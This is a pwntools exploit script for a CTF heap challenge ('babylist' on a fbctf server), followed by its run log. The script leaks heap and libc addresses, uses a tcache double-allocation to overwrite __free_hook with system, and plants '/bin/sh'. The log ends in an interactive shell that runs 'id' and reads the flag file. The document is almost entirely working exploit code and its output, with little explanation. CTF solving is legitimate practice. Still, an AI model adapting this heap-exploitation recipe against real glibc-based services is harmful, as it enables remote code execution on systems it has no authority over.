```
from pwn import *
import ctypes

r = remote("challenges.fbctf.com",1343)
libc = ELF("./libc-2.27.so")
def create_list(name):
log.info("CREATING LIST")
r.sendlineafter(">","1")
r.sendlineafter("Enter name for list:",name)

def add_elem(idx, val):
#log.info("ADDING ELEMT @ "+hex(idx)+" -> "+hex(val) )
r.sendlineafter(">","2")
r.sendlineafter("Enter index of list:",str(idx))
r.sendlineafter("Enter number to add:",str(val))

def view_elem(idx, elem_idx):
r.sendlineafter(">","3")
r.sendlineafter("Enter index of list:",str(idx))
r.sendlineafter("Enter index into list:",str(elem_idx))
r.recvuntil("= ")
return int(r.recvline().rstrip(),10)

def dup_list(idx, name):
log.info("DUPPING LIST "+hex(idx))
r.sendlineafter(">","4")
r.sendlineafter("Enter index of list:",str(idx))
r.sendlineafter("Enter name for new list:",name)

def del_list(idx):
log.info("DELETING LIST "+hex(idx))
r.sendlineafter(">","5")
r.sendlineafter("Enter index of list:",str(idx))

create_list("AAAA")
add_elem(0, 0)
add_elem(0, 0)
add_elem(0, 0)
add_elem(0, 0)

dup_list(0,"BBBB")
dup_list(0,"CCCC")

add_elem(0, 0)

create_list("AAAA")

heap_leak = view_elem(1,0)
heap_leak += (view_elem(1,1) * 0x100000000)

log.success("HEAP LEAK @ "+hex(heap_leak))
del_list(0)
del_list(1)
del_list(2)
del_list(3)
prg = log.progress("FILLING TCACHE")
create_list("ZZZZ")
TCACHE_LIMIT = 0x800
SIZEOF_INT = 4

for i in range(6):
create_list("FILL") # idx 6 max

for i in range(0x70/4):
add_elem(0,1) # create 0x90 chunk

dup_list(0, "XXXX") # idx 7

for i in range(0x30/4):
add_elem(0,1)

create_list("LEAK") # 8
del_list(0)
del_list(1)
del_list(2)
del_list(3)
del_list(4)
del_list(5)
del_list(6)
del_list(8)

#for i in range(TCACHE_LIMIT/SIZEOF_INT): # ANOTHER WAY TO GET LIBC LEAK -- TOO SLOW, REQUIRES 512 ELEMENTS TO BE ADDED
# add_elem(0,0)
# prg.status("["+str(i)+"/"+str(TCACHE_LIMIT/SIZEOF_INT)+"] ALLOCATED")

#for i in range(LIMIT):
# prg.status("["+str(i)+"/"+str(LIMIT)+"] FREED")
# del_list(LIMIT - 1 - i)

#for i in range(LIMIT-1):
# add_elem(i,0)
#prg.status("["+str(i)+"/"+str(LIMIT)+"] ALLOCATED")

prg.success("DONE")

elem1 = ctypes.c_uint32(view_elem(7,0)).value
elem2 = view_elem(7,1)
#print hex(elem1)
#print hex(elem2)

arena_leak = elem1 + (elem2* 0x100000000)
base = arena_leak - 0x1bfca0 - 0x25000 - 0x207000
free_hook = libc.symbols["__free_hook"] + base
log.success("ARENA LEAK @ "+hex(arena_leak))
log.success("LIBC BASE @ "+hex(base))
log.success("FREE HOOK @ "+hex(free_hook))

log.info("CLEARING THE LISTS")
del_list(7)

hi_part = (free_hook & 0xffffffff00000000) / 0x100000000
low_part = free_hook & 0x00000000ffffffff

prg = log.progress("TCACHE DUP WEWWW")

create_list("AAAA")
add_elem(0, 0)
add_elem(0, 0)
add_elem(0, 0)
add_elem(0, 0)
add_elem(0, 0)
add_elem(0, 0)
add_elem(0, 0)
add_elem(0, 0)

dup_list(0, "AAAA")
dup_list(0, "AAAA")

add_elem(2,0) # DUP
add_elem(0,0) # DUP

prg.success("DUPPED!")

create_list("AAAA") # current list is 4
add_elem(3, low_part)
add_elem(3, hi_part)
add_elem(3, 0x22222222)
add_elem(3, 0x22222222)
add_elem(3, 0x11111111)

create_list("AAAA")
create_list("AAAA")
add_elem(4, 0x2f62696e)
add_elem(4, 0x2f7368)
add_elem(4, 0)
add_elem(4, 0)
add_elem(4, 0)

one_gadget = base + libc.symbols["system"]
hi_part = (one_gadget & 0xffffffff00000000) / 0x100000000
low_part = one_gadget & 0x00000000ffffffff

add_elem(5, low_part)
add_elem(5, hi_part)
add_elem(5, 0)
add_elem(5, 0)

add_elem(5, 0)

create_list("PWN")
create_list("PWN2")
add_elem(7,26739)
add_elem(7,26739)
r.interactive()

```

```
[*] CREATING LIST
[*] DUPPING LIST 0x0
[*] DUPPING LIST 0x0
[*] CREATING LIST
[+] HEAP LEAK @ 0x5629c668ef20
[*] DELETING LIST 0x0
[*] DELETING LIST 0x1
[*] DELETING LIST 0x2
[*] DELETING LIST 0x3
[+] FILLING TCACHE: DONE
[*] CREATING LIST
[*] CREATING LIST
[*] CREATING LIST
[*] CREATING LIST
[*] CREATING LIST
[*] CREATING LIST
[*] CREATING LIST
[*] DUPPING LIST 0x0
[*] CREATING LIST
[*] DELETING LIST 0x0
[*] DELETING LIST 0x1
[*] DELETING LIST 0x2
[*] DELETING LIST 0x3
[*] DELETING LIST 0x4
[*] DELETING LIST 0x5
[*] DELETING LIST 0x6
[*] DELETING LIST 0x8
[+] ARENA LEAK @ 0x7f315c1f3ca0
[+] LIBC BASE @ 0x7f315be08000
[+] FREE HOOK @ 0x7f315c1f58e8
[*] CLEARING THE LISTS
[*] DELETING LIST 0x7
[+] TCACHE DUP WEWWW: DUPPED!
[*] CREATING LIST
[*] DUPPING LIST 0x0
[*] DUPPING LIST 0x0
[*] CREATING LIST
[*] CREATING LIST
[*] CREATING LIST
[*] CREATING LIST
[*] CREATING LIST
[*] Switching to interactive mode

Timeout
$
$ id
uid=1000(babylist) gid=1000(babylist) groups=1000(babylist)
$ cat /home/babylist/flag
fb{b3773r_n07_m1x_c_4nd_cpp!}
$
```